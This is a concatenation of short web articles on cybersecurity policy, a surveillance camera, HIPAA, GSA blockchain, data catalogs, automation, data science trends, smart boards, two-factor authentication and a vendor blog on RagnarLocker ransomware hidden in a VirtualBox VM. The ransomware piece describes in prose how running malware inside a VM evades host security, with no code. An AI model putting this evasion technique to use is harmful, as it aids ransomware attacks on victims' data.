To address these risks, President Obama issued Executive Order 13636, “Improving Critical Infrastructure Cybersecurity,” on Feb. 12, 2013. According to the Department of Homeland Security, this executive order directed the executive branch to do five things: develop a technology-neutral voluntary cybersecurity framework; promote and incentivize the adoption of cybersecurity practices; increase the volume, timeliness, and quality of cyber threat information sharing; incorporate strong privacy and civil liberties protections into every initiative to secure our critical infrastructure; and explore the use of existing regulation to promote cybersecurity.
Almost exactly one year later, a cyber intrusion began at the United States Office of Personal Management. This intrusion went undetected for 13 months. As the Wall Street Journal, U.S. News & World Report and other media reports noted, this intrusion was described by Federal officials as among the largest breaches of government data in the history of the United States. Information targeted in the breach included personally identifiable information, such as Social Security numbers, as well as names, dates, places of birth, and addresses. The hack even involved the theft of detailed security clearance-related background information, including more than 5.6 million sets of fingerprints.
Clearly, EO 13636 was insufficient to prevent a major cybersecurity event.
Less than a month ago, President Trump signed a new executive order, “Strengthening the Cybersecurity of Federal Networks and Critical Infrastructure,” designed to protect American innovation and values. This new executive order, which reflects considerable analysis, opens with four findings: that the executive branch has for too long accepted antiquated and difficult–to-defend IT; that effective risk management involves more than just protecting IT and data currently in place; that known but unmitigated vulnerabilities are among the highest cybersecurity risks faced by executive departments and agencies; and that effective risk management requires agency heads to lead integrated teams of senior executives with expertise in IT, security, budgeting, acquisition, law, privacy, and human resources.
The executive order goes on to explicitly hold agency heads accountable to the president for implementing risk management measures commensurate with the risk and magnitude of the harm that would result from unauthorized access, use, disclosure, disruption, modification, or destruction of IT and data. It also mandates the use of the rigorous and recently revised Framework for Improving Critical Infrastructure Cybersecurity developed by the National Institute of Standards and Technology that EO 13636 deemed voluntary.
Will this new executive order make a difference? The answer may rest in the implementation and enforcement of the order. With parallel progress in both pattern recognition algorithms and microelectronic technology, machine learning and artificial intelligence can likely already bridge the gap between the enormous volume of government intelligence data and people capable of analyzing it, as Jason Matheny, Director of the Intelligence Advance Research Project Agency, has forecast. IBM’s Watson, for example, can understand all forms of data, interact naturally with people, and learn and reason at scale. Accordingly, the compromise of even sensitive but unclassified information when analyzed by sophisticated means could enable perpetrators to “connect the dots” and jeopardize national security.
In this environment, will “mistakes” or negligence leading to compromised information be tolerated or will they be dealt with severely? Will agency heads be held accountable or will they get a pass? Will “antiquated and difficult-to-defend IT” be tolerated or will rigorous processes and modern applications, like layered security, limitations within network security, encryption of data at rest and in motion, and policy engines used in conjunction with access restriction and auditing software be mandated, implemented, and audited?
The answers will be revealed over the next weeks and months.
The challenge is clear—a well-thought-out and rigorous policy for Federal government cybersecurity is in place, now it must be implemented and enforced. Time is not on our side; the next hack or the next serious incident due to the negligence of a government employee or contractor could happen tomorrow or the next day. It is time to get serious about Federal government cybersecurity. | <urn:uuid:bfcc447f-a974-4778-934a-14457b3dbf84> | CC-MAIN-2022-40 | https://origin.meritalk.com/time-to-get-serious-about-federal-government-cybersecurity/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337836.93/warc/CC-MAIN-20221006124156-20221006154156-00135.warc.gz | en | 0.943762 | 938 | 2.5625 | 3 |
Chinese researchers develop 500MP camera to capture facial biometrics in crowds
Chinese academic researchers have developed a 500 megapixel cloud camera that can collect detailed facial data in crowded spaces such as stadiums, and enable the biometric detection of a specific target among thousands, writes Asia Times.
The scientists developed two chips that allow the camera to achieve five times the 120 million-pixel resolution of the human eye for both photo and video, the source says, and to create high-resolution videos with just as detailed information. It can be integrated with AI, and cloud computing technology for facial recognition, object detection, and real-time monitoring, the report says.
The scientists working on the project are from Fudan University in Shanghai, Changchun Institute of Optics, and Fine Mechanics and Physics of Chinese Academy of Sciences in Changchun.
The new system is welcomed by many Chinese experts, who see it as a great tool for military, national defense and public security applications, however a few also voiced concerns about how data privacy would be affected, and whether the benefit would outweigh the increased cost.
Asia Times quotes Zeng Xiaoyang, one of the scientists, as saying people from other countries could log in to the cloud data center to access the data. Zeng claims the tool can easily be used in public security to monitor crowd distribution in real time.
The camera could be another addition to China’s massive surveillance operation. At least 75 countries around the world are actively using artificial intelligence tools such as facial biometrics to conduct surveillance on citizens. | <urn:uuid:0365ce60-8313-4dbb-bc58-9c63cd19749c> | CC-MAIN-2022-40 | https://www.biometricupdate.com/201909/chinese-researchers-develop-500mp-camera-to-capture-facial-biometrics-in-crowds | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337836.93/warc/CC-MAIN-20221006124156-20221006154156-00135.warc.gz | en | 0.937838 | 317 | 2.546875 | 3 |
HIPAA and Privacy
This is a summary of the HIPAA and privacy regulations, for a more complete discussion please see the HIPAA and privacy white paper
What is HIPAA?
The HIPAA of 1996 was introduced to improve the efficiency and effectiveness of the healthcare system in the US, including national standards for electronic healthcare transactions and code sets, unique health identifiers, and security. At the same time, it mandates privacy protections for individually identifiable healt information. The HIPAA Rules apply to Covered Entities and Business Associates
What is HITECH?
HITECH came into effect in February 2009 and promotes the adoption and meaningful use of health information technology. It also addresses the privacy and security concerns associated with the electronic transmission of health information.
The Privacy Rule addresses the use and disclosure of individuals’ PHI by Covered Entities or Business Associates. It ensures that individuals’ health information is properly protected, while permitting the disclosure of health information needed for high quality healthcare and to protect the public’s well-being. Further standards within the Rule provide for individuals’ rights to understand and control how their health information is used.
The Security Rule encompasses federal safeguards for protecting PHI in electronic form (e-PHI), and must be applied by Covered Entities and their Business Associates to ensure the confidentiality and integrity of e-PHI. The Rule allows the adoption of technologies to improve the quality and efficiency of patient care, such as those used in PMA, EHR, pharmacy and laboratory systems.
What is considered PHI?
In essence, PHI is information that relates to the individual’s health condition, or the provision of healthcare to the individual, that identifies, or can be used to identify, the individual.
When writing applications you need to consider the content of your data and how it's handled, the Considerations for Application page provides some guidance for how to make your applications on Aculab Cloud compliant with the regulations. | <urn:uuid:6741ed25-e78e-4e53-abbb-9868ebfffd0d> | CC-MAIN-2022-40 | https://www.aculab.com/cloud/guides/security/hipaa-and-privacy/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030338280.51/warc/CC-MAIN-20221007210452-20221008000452-00135.warc.gz | en | 0.908447 | 414 | 2.640625 | 3 |
The General Services Administration (GSA) is experimenting with blockchain technology to streamline the contracting process. In this post, we’ll look at what blockchain is, why GSA is using it, and what it means for contractors.
What is Blockchain?
It seems everyone is talking about blockchain. From stories on “what every government leader should know” about it to mildly irritated warnings not to get caught up in the blockchain “hype cycle” to news of the Seoul Metropolitan Government’s new blockchain contract with Samsung, the technology behind cryptocurrencies like Bitcoin is getting plenty of buzz. But what exactly is blockchain?
Overviews of the technology, such as this one from Wikipedia, tend to get bogged down in jargon rather quickly:
A blockchain…is a continuously growing list of records, called blocks, which are linked and secured using cryptography. Each block typically contains a hash pointer as a link to a previous block, a timestamp and transaction data…A blockchain can serve as an open, distributed ledger that can record transactions between two parties efficiently and in a verifiable and permanent way. For use as a distributed ledger, a blockchain is typically managed by a peer-to-peer network collectively adhering to a protocol for validating new blocks. Once recorded, the data in any given block cannot be altered retroactively without the alteration of all subsequent blocks, which requires collusion of the network majority.
Despite the jargon, though, the central concept is pretty straightforward. Deloitte gives a helpful analogy:
You (a “node”) have a file of transactions on your computer (a “ledger”). Two government accountants (let’s call them “miners”) have the same file on theirs (so it’s “distributed”). As you make a transaction, your computer sends an e-mail to each accountant to inform them.
Each accountant rushes to be the first to check whether you can afford it (and be paid their salary “Bitcoins”). The first to check and validate hits “REPLY ALL”, attaching their logic for verifying the transaction (“Proof of Work”). If the other accountant agrees, everyone updates their file…
This concept is enabled by “Blockchain” technology.
So why all the hype? Deloitte goes on to explain (emphasis added):
In a traditional environment, trusted third parties act as intermediaries for financial transactions. If you have ever sent money overseas, it will pass through an intermediary (usually a bank). It will usually not be instantaneous (taking up to 3 days) and the intermediary will take a commission for doing this either in the form of exchange rate conversion or other charges.
The original Blockchain is open-source technology which offers an alternative to the traditional intermediary for transfers of the crypto-currency Bitcoin. The intermediary is replaced by the collective verification of the ecosystem offering a huge degree of traceability, security and speed…[Blockchain] can be applied to any multi-step transaction where traceability and visibility is required.
GSA’s Blockchain Experiment.
GSA is experimenting with using blockchain to streamline/automate the mundane tasks involved in setting up a contract IT Schedule 70. As Federal News Radio reports:
[Jose Arrieta, director of contract operations for GSA’s Schedule 70 IT program, and his team] studied the business process of Schedule 70 contracts — what vendors had to go through to get the contracts established — and identified the two longest processes in what Arrieta called the “optimal path” — financial analysis of the company and the prenegotiation memorandum. They then instituted blockchain by putting everything in a distributed ledger and redesigned the user interfaces so that industry only has to enter the information once instead of logging into multiple systems, and ran microservices to automate the processes.
“So rather than take a number of days to do financial analysis and a number of days to develop a negotiation position, rather than have to log into a bunch of different systems to find that information and organize it, we are able to do that now in one second…And that lessens the burden on the industry partner, and it allows the contracting professional to focus more on critical thinking tasks rather than the process tasks associated with interacting with multiple systems,” [Arrieta said].
Why did GSA choose to use blockchain instead of some other method of automation? The idea was to take advantage of blockchain’s real-time record-keeping functionality:
…Blockchain provides a record of all the interactions that both parties can access in real-time, allowing the microservices to be more accurate without having to take the time to reconcile two separate versions of the same document.
“This is the hardest part about understanding blockchain: it is true that everybody has a copy. Everybody has a view of the original copy. And that’s the interesting thing,” Arrieta said. “So rather than recreate the copy multiple times, you have a data layer that all stakeholders have a view into. From a GSA perspective, we control what our market participants have a view into, because there are certain rules associated with what an industry partner can see. We’re not going to share multiple industry partners’ information with each other. But it’s not actually multiple databases with copies. It’s one transparent view that multiple stakeholders can see in real time, and is a record of all interactions with one another.”
What Does It Mean for Contractors?
Although it took approximately seven weeks to set up the system with a single small business, GSA’s hope is that implementing blockchain will ultimately lead to an 80% reduction in the direct costs of analyzing a proposal. More importantly from the contractor’s perspective, GSA’s goal “is actually to get the onboarding time from scheduled contractors from 110 days through our normal process and 40 days through our fast-lane process to less than 10 days.”
If GSA achieves this goal, it would have a major impact on prospective Schedule-holders, slashing the wait time that frustrates so many applicants and instead allowing them to start using their contracts in a matter of days rather than months. GSA is still evaluating next steps, but Arrieta emphasizes GSA’s hope to quickly implement a blockchain system: “We’re really trying to live in the present on this before we get too far in the future because we realize this is going to touch a number of stakeholders.”
Still, it’s important to remember that the system is still very much in the experimental stage. In the meantime, wait times for Schedules remain high, so it’s important for would-be Schedule holders to get in line as soon as possible. For more information on how to get on Schedule, contact Global Services today! | <urn:uuid:cd588883-d6f5-4452-a1eb-8a653b031b0e> | CC-MAIN-2022-40 | https://globalservicesinc.com/2017/11/28/gsas-blockchain-experiment-means-federal-contractors/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334620.49/warc/CC-MAIN-20220925225000-20220926015000-00336.warc.gz | en | 0.938985 | 1,430 | 2.875 | 3 |
Features of a Modern Data Catalog
Data catalogs make it easier for your analysts to find, understand and trust the data they need to perform self-service analytics.
As big data grows exponentially, new approaches to finding, understanding and establishing trust in that data are emerging. A data catalog is a reference application available to any user of data as the first stop on a self-service data discovery task. Data catalogs include a number of features. Data catalogs aggregate metadata on datasets that are available for analysis. This metadata describes standard database objects such as tables, queries, and schema stored in systems such as a data warehouse or data lake. It can be enriched with annotations and sample projects created in business intelligence (BI) or analytic applications and shared by users of the data through the catalog. In its physical form, a data catalog is either a cloud-based or on-premise server that automatically indexes data systems and provides a data inventory of those assets that can be accessed from a single source. Like Google, a data catalog crawls databases and business intelligence systems and provides a single point of reference for enterprise data.
Offering a data catalog as a common point of reference, enables users, including business analysts, data analysts, data scientists, and data stewards to find, understand and collaborate on the data in a data warehouse or data lake, through annotation that enriches the data with context. Some data catalogs rely on machine learning to provide additional behavioral context around how the data is being used. By performing log analysis on the logs, a data catalog can make certain assumptions about the usefulness or quality of the data being accessed by the data catalog. You can see such things as how often a particular table or schema is being accessed, how recently it was used, and by whom. In this way, a data catalog adds additional context that can’t be determined from the data alone.
Instead of having to know a connection string or path to connect to a data source, a data catalog provides a client application that is purpose-built for for the consumption of data and employs certain conventions adopted from widely used online consumer catalogs such as Yelp, Pinterest Wikipedia and Spotify. Users find data by browsing, searching or by surfacing recommendations rather than by typing obscure commands.
Collaboration features, such as the ability to annotate data assets or hold threaded discussions allow for a grassroots approach to data governance and allow every user to contribute their knowledge to the data catalog.
A data catalog makes it easier for non-technical users to consume data productively. The goal is not only to allow users to inventory data but to find the right data for non-technical users with natural language search, saved queries and the ability to easily browse through data assets in a catalog format. In addition, a data catalog surfaces recommendations from other users working with the same data sets.
Traditional database systems require the user to know the location of a data source’s documentation in order to understand its intended use. A data catalog is self-documenting and the documentation resides side-by-side with the data it is documenting, not in a separate system. Also, since a data catalog can also access Wiki pages, the experience of reading documentation is identical to that of examining the data. In addition, instead of having to track down the expert or team responsible for the data in order to get a question answered, a user can immediately see who is engaging with the data and reach out to them for help. In this way, tribal knowledge is made available for discovery and reuse.
Another big advantage for those working with lots of different kinds of data is that, unlike extract, transform, load (ETL) tools, the data in a data catalog remains in its native format so it is simple to go back to the original application that created it if necessary.
A data catalog enables data discovery and exploration for self-service analytics by providing a single source of reference and a simple way for data consumers to access the data they need to perform their jobs. A data catalog can aid in data quality and data governance by allowing users to collaborate in a single self-service environment. A data catalog can help your company go from data-rich to data-driven. | <urn:uuid:e8ab93ee-1c25-4091-aad1-2b964e8b7007> | CC-MAIN-2022-40 | https://www.alation.com/modern-data-catalog-features/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334620.49/warc/CC-MAIN-20220925225000-20220926015000-00336.warc.gz | en | 0.916715 | 855 | 2.59375 | 3 |
A nuclear bomb has gone off in security land.
SQLite is a free, public domain relational database management system which is contained in a C programming library. It is widely used across the computing spectrum, including apps and the underlying operating systems that these applications run on such as Unix flavors, macOS and Android.
The database ends up part of the resultant program, and is not the kind that works by client-server interactions.
Now, the Tencent Blade Team from China has found a massive bug within SQLite. The bug can cause remote code execution, leaks of program memory and program crashes.
Magellan is a remote code execution vulnerability […] that exists in SQLite. As a well-known database, SQLite is widely used in all modern mainstream operating systems and software, so this vulnerability has a wide range of influence. […] We will not disclose any details of the vulnerability at this time, and we are pushing other vendors to fix this vulnerability as soon as possible.
One good thing: Tencent researchers note that they have not yet seen exploitation of this bug in the wild.
The possible attack surface is enormous. The library has been used in Internet of Things devices -- such as Google Home -- desktop software, web browsers -- Google Chrome, Vivaldi, Opera, Brave -- and many other apps and programs.
Tencent notes that the vulnerability can be triggered remotely by something comparable to accessing a particular web page in a browser. It can crash Chrome 70s renderer, according to a demo.
Dr. D. Richard Hipp, the developer of SQLite, is more reserved in how the bug will affect things. He noted in a post on the Hacker News blog: "The vulnerability only exists in applications that allow a potential at-tacker to run arbitrary SQL. If an application allows that, it is usually called an 'SQL Injection' vulnerability and is the fault of the application, not the database engine. The one notable exception to this rule is WebSQL in Chrome."
Notably, Hipp does not dispute the existence of the problem itself -- only what to call it.
It appears from first reports that the WebSQL API is involved in the vulnerability. Neither Firefox or Edge support this API, and it seems to be SQLite-query specific. That means that one would need to access internal tables to activate the bug. However, Firefox has an external SQLite database associated with it, so perhaps a wily researcher will find some way to make Firefox vulnerable. But, so far Firefox has made no mention of this bug, and and it has revised things since the new version of SQLite came out.
The Safari browser doesn't have the API enabled, so it is not vulnerable.
SQLite 3.26.0 and Chrome 71 do fix the underlying problem -- along with an updated Chromium -- since Tencent told these vendors about the problem in November. But that revision to SQLite has not yet been incorporated in current apps or systems. (See Google Chrome 71: Bugs Squashed & New Ways to Block 'Abusive Experiences'.)
Doing this kind of library revision to a program can cause other sorts of problems, and it is usually undertaken only when absolutely necessary. In this case, it will need to be.
Security researchers have already begun to try and reverse-engineer the bug, from the information SQLite released when it fixed the problem. Full exploits will not be that long in coming.
The effect of this bug will force many kinds of differing programs to need maintenance. Anything that allows arbitrary SQLite execution within the program is at risk.
— Larry Loeb has written for many of the last century's major "dead tree" computer magazines, having been, among other things, a consulting editor for BYTE magazine and senior editor for the launch of WebWeek. | <urn:uuid:33edd862-3ca2-4c65-9b84-8898e561d1b3> | CC-MAIN-2022-40 | https://www.darkreading.com/application-security/database/sqlite-vulnerability-could-put-thousands-of-apps-at-risk-/a/d-id/748326?print=yes | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335257.60/warc/CC-MAIN-20220928145118-20220928175118-00336.warc.gz | en | 0.934342 | 786 | 2.828125 | 3 |
AI vs. IA: What’s the Difference?
Artificial intelligence (AI) has been a hot topic for some time. There are some genuinely transformative things being done using the sledgehammer of AI to crack some very big, complex problems in many fields, including health, manufacturing, game theory, weather prediction, and economics. The list goes on and on.
Automation — both hardware and software — has also been around for some time. But it’s software automation that is deservedly in the limelight right now as part of the Fourth Industrial Revolution. Companies in every sector, all over the world, are using Robotic Process Automation (RPA) to automate their rule-based, process-driven, easily definable tasks in the front and back offices.
Think of an accounts payable (AP) clerk that comes in every day, opens his or her email, opens a received spreadsheet, and then copies that data into an enterprise resource planning (ERP) system. This is something that can be easily automated, and there are countless other examples in finance, procurement, human resources, operations, logistics, and so forth.
AI and automation at a crossroads
But where it gets interesting is the intersection between AI and automation — also referred to as intelligent automation (IA). That combination, driven by advances in machine learning (ML) techniques, computational power, and more advanced cognitive engines, is starting to be applied to a wide range of business problems. Voice recognition, natural language processing, document analysis, and classification — are everyday, real-world applications.
Let’s take documents as an example. Many companies still deal with millions of PDF documents. These could be invoices, purchase orders, or pretty much anything else. If you’re a large manufacturer, you might have tens of thousands of suppliers, each with its own unique invoice layout. That semi-structured data is hard to process for a rule-based system. But once you add AI into the mix, you have something that can deal with this unstructured data while learning as it goes along.
An optical character recognition (OCR) engine struggles to get more than 50% to 60% accuracy across a typical invoice data set from multiple suppliers, whereas an AI-driven system such as Automation Anywhere IQ Bot uses both supervised and unsupervised learning to get past 90% to 95% precision. The more data it processes, the better it gets.
Estimates of how much of a company’s data is that "dark," semi-structured or unstructured data vary, but numbers around 60% to 70% are not uncommon. It’s like the tip of the iceberg, often hidden below the surface. Think of the huge piles of data in emails, voice messages, documents, PDFs, and the like. Compare that to the relatively small amount in an Excel spreadsheet.
With databases and customer relationship management (CRM)/ERP systems, businesses are capturing more and more data, again with much of it unstructured. The biggest data problem facing any business going forward is that of scale. And the obvious solution has to be automation — handling both structured and unstructured data.
Intelligent automation: A realistic solution
So, how do we fix some of these real-world business problems? Well, AI on its own is not enough. That sledgehammer is brilliant at cracking great big problems, but not so good on the digital walnuts we need to deal with every day, such as: Is that PDF an invoice or not? And if it is, how much is it for?
Combine AI with automation, though, and you then have something very different. Intelligent automation lets you deal at scale with the low-hanging fruit of structured data and the higher-hanging fruit of the problems we face every day dealing with unstructured data.
Software automation — the Fourth Industrial Revolution — is a transformative, strategic opportunity for any major enterprise. Scale is everything. And that can only truly be addressed through automation and AI combined as IA. | <urn:uuid:d510a967-262b-43dc-b26a-941fc08e7a59> | CC-MAIN-2022-40 | https://www.automationanywhere.com/company/blog/product-insights/ai-vs-ia-what-s-the-difference | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335573.50/warc/CC-MAIN-20221001070422-20221001100422-00336.warc.gz | en | 0.946314 | 840 | 2.625 | 3 |
- November 18, 2021
- Posted by: Aanchal Iyer
- Categories: Artificial Intelligence, Data Science
Future Data Science Trends
Data science is a stimulating field for knowledge workers as it increasingly interconnects with the future of how organizations, society, industries, governance, and policy will function. It is quite easy to define the term “data science”.
Data science is an interdisciplinary field that uses scientific methods, algorithms, processes, and systems to gain insights and knowledge from unstructured and structured data, and apply that knowledge and actionable insights across a broad range of application domains. Thus, data science is where science meets an AI.
Data science is now turning out to be the most promising and in-demand career paths for skilled professionals. Today, successful data professionals have understood the fact that they must surpass the traditional skills of examining huge amounts of data, programming skills, and data mining. Read on to understand what more we can expect from this promising field known as data science.
What To Expect
Following are a few scenarios of what one can expect from data science in the coming years.
1. Augmented Data Management:
In the future, the AI-human hybrid workforce, i.e how users manage and deal with data will be highly integrated. Essentially augmented data management will allow active metadata to streamline and combine architectures and also increase automation in repetitive data management tasks. As big data optimization occurs, automation will turn easier in various human fields, thus, reducing task loads and generating AI-human architectures of human activity.
2. Scalable AI
As data science grows both AI and ML are influencing all sectors. According to a survey conducted by Nvidia, there are around 12,000 AI start-ups globally. Thus, it is quite obvious that this will result to scalable AI and behavior modification at scale in humans making adjustments to this new reality.
3. AI-As-a-Service Platforms
With both data science and ML evolving, more B2B and AI-as-Service platforms and services will now become possible. This will slowly help democratize AI capabilities and expertise so that small entrepreneurs can also access such incredible tools.
Platforms such as Square, Shopify, and Lightspeed are going in this direction to enable new small businesses optimized with AI to develop faster. Meanwhile bigger technology firms are getting into the B2B market with their own spin on AI products that other businesses may require.
4. The Democratization of AI
As data science talent becomes more popular globally, a slight re-balancing of the business benefits is taking place in more nations. The democratization of Artificial Intelligence will certainly take a very long time; however, data science will eventually be more equally distributed around the world, leading to more social and wealth equality, availability to economic and business opportunities and AI for good. However, we are a long way away from this goal.
5. Improved Data Regulation By Design
If data science is fueling a world full of data, analytics, predictive analytics and big data optimization the way we handle data needs to improve and this means better cybersecurity, data privacy protection and a whole range of things.
6. Top Programming Language of Data Science Will Still Be Python
ML and data science professionals have driven adoption of the Python programming language. Python’s community, libraries and support system online is implausible and showcases how data science is a comprehensive community of practitioners and learners. This nurtures the collaborative spirit of the internet towards improved data and AI systems in society.
We may need to step outside our comfort zones to take on the challenges and opportunities that this digital gold brings. As data continues to grow and ML algorithms get smarter, we will need to adapt. | <urn:uuid:36efbf87-33ce-4cc3-b4ad-dcc1065f9bd9> | CC-MAIN-2022-40 | https://www.aretove.com/data-modeling-trends-2022-the-interoperability-opportunity | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337338.11/warc/CC-MAIN-20221002150039-20221002180039-00336.warc.gz | en | 0.92127 | 765 | 2.828125 | 3 |
Two-Factor authentication, or 2FA, is a small step that will go a long way in protecting your online accounts. 2FA will provide a second layer of protection to your information and should be used whenever possible at home and work.
When a user enables 2FA, they are required to have two types of credentials to login. These credentials could be something you have memorized (such as a PIN number or password), a physical credential (like an ATM card, fob, or cell phone number), or a physical identification (for example, a finger print).
Why Using Two-Factor Authentication is Important
An easily guessed password (something like “P@ssword1” or even your dog’s name) is the simplest way for an intruder to gain access to your account without your knowledge. Even if you have a complex password, hackers have ways of finding out personal information about you in order to crack security questions and re-set your password. Some hackers even have the power and equipment to steal your account by simply continually guessing at your password until they get it right. 2FA serves as a method to add an extra layer of protection to your account and lower these risks. And with all the ways to add a second verification, it is a cheap and easy solution to a major security problem.
One way to employ 2FA is by using a PIV (personal identifiable verification) card. These “smart” cards must be inserted into your computer when you are trying to access protected information. Each card is accompanied by a PIN number, something only the cardholder should know. This number must also be entered while the card is in the computer to gain access. PIV cards are useful security tools because even if a malicious user were to find out the holder’s PIN number, they would still need the card to access the information and vice versa.
One Time Password Tokens
One Time Password Tokens are another 2FA tool. When attempting to access a protected system or resource, the user is asked for not only their PIN number or password, but also a unique series of numbers displayed on a small key fob assigned to them. The numbers on the fob keep changing, so even if a thief were to learn what the code was for one login, it would change as soon as they tried to access the resource again.
Two-Factor Authentication on Public Sites
As you probably are aware, public websites such as online banking, social media accounts, or e-mail don’t require or expect you to have PIV cards or password tokens in order to log in. Generally, most of them are single-factor authentication by default (meaning you only have to enter a username and password). But that doesn’t necessarily mean that you can’t protect your accounts using 2FA.
More sites than you may expect have options to enable 2FA including most major public e-mail providers (Google, Yahoo, Apple) as well as sites like LinkedIn, Twitter, Dropbox, Tumblr, Office 365, and Snapchat. Google, specifically has an app called “Authenticator” you can download to your phone that serves as a kind of mobile one time password token.
Using 2FA for these public sites is not quite as sophisticated as using PIV cards or one time password tokens, but for these less sensitive accounts it can still be effective. Most sites will send a verification code to either your e-mail address or your phone. These e-mails or text messages contain either short verification codes you must enter back on your login page, or links that will automatically verify you when clicked.
From a corporate or personal standpoint, two-factor authentication should be used whenever possible because it decreases the chance of someone taking over your account without your consent or even knowledge. Adding an extra step to your login process may seem to be a nuisance (minor to some, major to others), but the security of your systems and accounts is never something that should be taken lightly.
Carson Inc. and Cyber Security
Our motto is finding what matters and controlling what counts. Don’t sacrifice your security for convenience. Carson Inc. has been helping its customers fight the battle against cyber threats for more than 22 years. Our team consists of Information Assurance (IA) experts with advanced degrees and technical certifications, including CISSP, CISA, LPT, GWASP, and ISO 27001. Our staff has in-depth knowledge of IT security statutory and regulatory guidance. | <urn:uuid:6a242067-d925-4318-afef-b8a2841b639a> | CC-MAIN-2022-40 | https://www.carson-saint.com/2015/07/22/benefits-of-two-factor-authentication/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337338.11/warc/CC-MAIN-20221002150039-20221002180039-00336.warc.gz | en | 0.936509 | 922 | 3.5625 | 4 |
Implementing smart boards in higher education facilities can help contribute many benefits to students, particularly in classrooms with only one computer available. Smart boards simply require a projector, a single computer, and software installed on the computer that’s specially tailored towards educational purposes. In teaching settings, smart boards provide the teacher with the ability to save particular notes and lessons that they’re interested in reviewing at a later date. Additionally, students benefit from smart boards in higher education facilities because they are an interactive addition into a classroom that can help encourage active participation, learning, and collaboration with their peers.
Higher Education: What’s a Smart Board?
A smart board is more than just a whiteboard. A smart board uses computer software and a projector to project electronic media onto a whiteboard, which can be viewed by an entire classroom. This can help encourage students to participate in class and collaborate with their peers, particularly when it comes to learning games and educational lessons. Additionally, a smart board serves as a fun educational element within a classroom that goes beyond just simple writing with chalk on a blackboard.
How Can a Smart Board Be Used in Higher Education?
Teachers can implement smart board technology within their classroom for all of their lesson plans or units. Whether you’re choosing to directly use educational software with your smart board, using the smart board to showcase educational content from YouTube, or simply using a smart board to encourage educational gameplay within the classroom — there are many uses for a smart board in higher education facilities.
FiberPlus’ Smart Board Capabilities
At FiberPlus, our professional team of subject matter experts can handle all of your smart board technology needs and installation. Whether you’re looking to design, install, or incorporate smart boards within your educational facility, we can be of assistance to you. Throughout the years we’ve worked with numerous clients in K-12, higher education, secured facilities, and beyond. Contact FiberPlus today to learn more about smart boards and how you can implement them into your higher education facility!
Get in Touch with FiberPlus
FiberPlus has been providing data communication solutions for over 25 years in the Mid Atlantic Region for a number of different markets. What began as a cable installation company for Local Area Networks has grown into a leading provider of innovative technology solutions improving the way our customers communicate and keeping them secure. Our solutions now include:
- Structured Cabling (Fiberoptic, Copper and Coax for inside and outside plant networks)
- Electronic Security Systems (Access Control & CCTV Solutions)
- Wireless Access Point installations
- Public Safety DAS – Emergency Call Stations
- Audio/Video Services (Intercoms and Display Monitors)
- Support Services
- Specialty Systems
- Design/Build Services
- UL2050 Certifications and installations for Secure Spaces
FiberPlus promises the communities in which we serve that we will continue to expand and evolve as new technology is introduced within the telecommunications industry.
Have any questions? Interested in one of our services? Call FiberPlus today 800-394-3301, email us at email@example.com, or visit our contact page. Our offices are located in the Washington, DC metro area, Richmond, VA, and Columbus, OH. In Pennsylvania, please call Pennsylvania Networks, Inc. at 814-259-3999. | <urn:uuid:e1391883-c64c-4a70-aa0d-617c617d5a7d> | CC-MAIN-2022-40 | https://www.fiberplusinc.com/systems-offered/everything-you-need-to-know-about-smart-boards-in-higher-education-facilities/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337338.11/warc/CC-MAIN-20221002150039-20221002180039-00336.warc.gz | en | 0.935249 | 693 | 2.765625 | 3 |
Yuen Pin Yeap, CEO at NeuShield
The Attack from Within
Recently a hacker group has devised a clever but sinister Fully UnDetectable (FUD) ransomware attack that is very difficult to detect. By running inside a prepackaged virtual machine (VM) that contains the RagnarLocker ransomware, it can use the VM’s own security isolation features to prevent detection. The compact Micro Windows XP VM is hosted by the Oracle’s VirtualBox with the proper addons to allow it full access to all the files visible by the host. As the hypervisor shields the hostile VM from the host’s security system, the VM can run undetected and encrypt all files on the host.
The knowledge of this ransomware led us on a mission to see if NeuShield Data Sentinel could recover data from this type of attack. To find out, the NeuShield team attempted to replicate the attack in their lab and record the effects of the ransomware on the host data and security system and record the results in a video. The test consists of a copy of the RagnarLocker ransomware, which was obtained from the wild and put inside a Micro XP image. The malware itself is only about 40KB in size, but the Windows XP image is about 250MB and is host by a copy of legitimate Oracle VirtualBox. A fully patched and protected Windows 10 64bit host is used in the test, along with 2.5GB of data spread across multiple local and cloud folders.
After launching from inside the VM, RagnarLocker took about 5 minutes to encrypt 2.5GB of data on the host. It also added an extension ‘.ragnar_XXXXXX’ to all damaged files. As expected, the security software on the host was not able to detect any anomaly. All data on the local and cloud drives that were accessible by the host were damaged by the ransomware. For each folder that the ransomware traversed, it placed a copy of the ransom note. An example of the ransom note is shown below:
For this ransomware, it was relatively easy to clean by simply deleting the VM images and uninstalling the unwanted hypervisor. In a real attack scenario, NeuShield recommends that customers use One-Click Restore to undo any changes made to the operating system by the ransomware or an outside attacker. However, for the purposes of this demo, we skipped ahead to the part of using Mirror Shielding™ to recover the data. As depicted in the video, all data was recovered easily and quickly.
In summary, NeuShield predicts that attacks of this nature may become more common, especially against high value targets, because it is relatively easy to evade detection using the tools hackers already have access to. In addition, the latest Windows ecosystem comes with a built-in hypervisor, called Hyper-V, that can be easily enabled, which makes it even more convenient to launch this type of attack. As such, it is important for business to be ready. Having a good and active endpoint security system to block attacks is crucial, but it may be even more imperative to have a good recovery plan and effective tools to prepare for the inevitable. | <urn:uuid:319fb73d-13d9-420f-be6b-4ea0064c510a> | CC-MAIN-2022-40 | https://www.neushield.com/blogs/the-attack-from-within/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337853.66/warc/CC-MAIN-20221006155805-20221006185805-00336.warc.gz | en | 0.942544 | 645 | 2.578125 | 3 |
Vulnerabilities are the result of human error. Many don’t like it, but most web application security issues are the result of errors during the coding process.
Therefore, if we think more clearly, the best approach to creating secure software is to do everything possible to avoid errors in the development process.
